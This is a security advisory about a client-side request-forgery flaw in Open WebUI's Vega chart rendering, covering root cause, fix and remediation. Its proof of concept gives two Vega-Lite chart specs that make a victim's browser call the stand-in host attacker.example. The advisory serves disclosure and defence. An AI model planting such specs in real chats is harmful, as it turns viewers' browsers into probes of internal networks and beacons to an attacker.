Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N
PR:L for required account; UI:R because victim must view message; S:C since victim browser becomes proxy into other systems; C:L for CORS-gated read-back; I:N and A:N as no write or availability impact exists.
Primary rating from Vendor (https://github.com/open-webui/open-webui).
CVSS VectorVendor: https://github.com/open-webui/open-webui
Lifecycle Timeline
2DescriptionCVE.org
Summary
Open WebUI renders vega and vega-lite fenced code blocks in chat content by building a Vega view in the viewer's browser without a restricted resource loader. Any user who can place such a block where another user will see it can make that user's browser issue attacker-chosen outbound GET requests, and read back responses from same-origin or CORS-permissive targets into the rendered page. Because the request comes from the browser, server-side SSRF protections never see it.
Preconditions
Default configuration, no flags or environment variables involved: Vega blocks render unconditionally wherever chat content is displayed. The attacker needs an account that can put content in front of the victim, which covers a shared chat, a channel message, and model, RAG or tool output the attacker can influence. The victim must open the message, so this is not zero-click. Deployments where the victim's browser has no network position of interest lose little.
Impact
The victim's browser becomes a request proxy into whatever it can reach: internal hosts and ports behind the perimeter, same-site endpoints, and out-of-band beacons that confirm a chart was viewed and by whom. Where the target is same-origin or returns permissive CORS headers, the response body is pulled back into the chart in the victim's page, which turns the request into a read. Requests are GET only, and no server-side data is exposed to the attacker directly.
Fix
Fixed in 5278eb906 (#26806), released in 0.11.0. The view is now constructed with a loader whose load always throws and whose sanitize resolves the URI with the browser's own URL parser and permits only data: and same-origin results, so charts can only use inline data.values. Upgrading is sufficient; no configuration change is needed.
Root cause
src/lib/utils/index.ts-renderVegaVisualizationsrc/lib/components/chat/Messages/CodeBlock.svelte- rendersvega/vega-liteblocks
The renderer treated a chart spec as trusted authored content rather than as untrusted chat text, so it accepted Vega's default loader. That loader has two separate ways out of the page: data.url and topojson/geo sources are fetched at view construction, and image marks pass their url through sanitize and are written into the output SVG as <image href>, which the browser fetches when the chart is displayed. The second path survives downstream SVG sanitization because the URL is a legitimate attribute value, not markup.
Proof of concept
Post either block into a chat, channel message, or shared chat that the victim will open. Neither requires the victim to interact beyond viewing.
{"$schema":"https://vega.github.io/schema/vega-lite/v5.json","data":{"url":"http://attacker.example/probe?a=1"},"mark":"point"}{"$schema":"https://vega.github.io/schema/vega-lite/v5.json","data":{"values":[{"x":1}]},"mark":{"type":"image","url":"http://attacker.example/beacon.png"},"encoding":{"x":{"field":"x"}}}The first fires at view construction; the second fires when the rendered SVG is displayed. Both are visible as outbound requests in the victim's network log and in the attacker's listener. After the fix neither request is made and inline data.values charts still render.
Credits
- @Zureno - reported the issue and the
data.urlpath. - @Classic298 - identified the image-mark sink and authored the fix.
AnalysisAI
Client-side SSRF in Open WebUI (pip package versions 0.6.34 through 0.10.x) allows any authenticated user who can post chat content to redirect victims' browsers into issuing arbitrary outbound GET requests against internal hosts, same-origin endpoints, or CORS-permissive targets. The vulnerability stems from the Vega visualization renderer accepting its default resource loader against untrusted chat-embedded chart specs, providing two independent fetch paths - data.url at view construction and image-mark url attributes emitted into the rendered SVG - both entirely invisible to server-side SSRF controls. No public exploit was identified in CISA KEV, but a working proof-of-concept was published in the GitHub security advisory itself (GHSA-rffm-9q57-q649), significantly lowering the exploitation bar.
Technical ContextAI
Open WebUI renders fenced vega and vega-lite code blocks in chat using the Vega JavaScript library directly in the viewer's browser. The affected code is concentrated in src/lib/utils/index.ts (the renderVegaVisualization function) and src/lib/components/chat/Messages/CodeBlock.svelte. CWE-918 (Server-Side Request Forgery) applies here in its client-side variant: the Vega View was instantiated with the library's default loader, which fetches any URL supplied in chart spec fields without restriction. Two distinct exfiltration paths existed: the data.url field in Vega/Vega-Lite data sources, fetched synchronously at view construction, and image mark url values, which Vega's loader passes through its sanitize function and writes as <image href> into the rendered SVG, causing the browser to fetch them on SVG display. The image-mark path survived any downstream SVG sanitization because the URL appears as a valid attribute value rather than injected markup. The affected package is pkg:pip/open-webui, versions >= 0.6.34 and < 0.11.0.
RemediationAI
Upgrade Open WebUI to version 0.11.0 or later, which ships commit 5278eb906 (PR #26806). The fix constructs the Vega View with a custom loader whose load function unconditionally throws, and whose sanitize function resolves URIs using the browser's native URL parser and permits only data: URIs and same-origin results - all other origins are blocked before any network request is issued. No configuration change is needed; upgrading is sufficient. If immediate upgrade is not possible, restricting posting permissions to trusted accounts reduces attacker surface but does not eliminate the flaw for any account that retains posting rights. Deploying a Content-Security-Policy: connect-src 'self' header on the Open WebUI origin in a compliant browser would block cross-origin loader requests at the browser level, though this requires server-side header configuration and may interfere with legitimate external chart data sources if any are in use. The patched release is confirmed at https://github.com/open-webui/open-webui/releases/tag/v0.11.0 and the fix commit at https://github.com/open-webui/open-webui/commit/5278eb906ebecefc6538a19bc86df09d997e43e6.
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-52916
GHSA-rffm-9q57-q649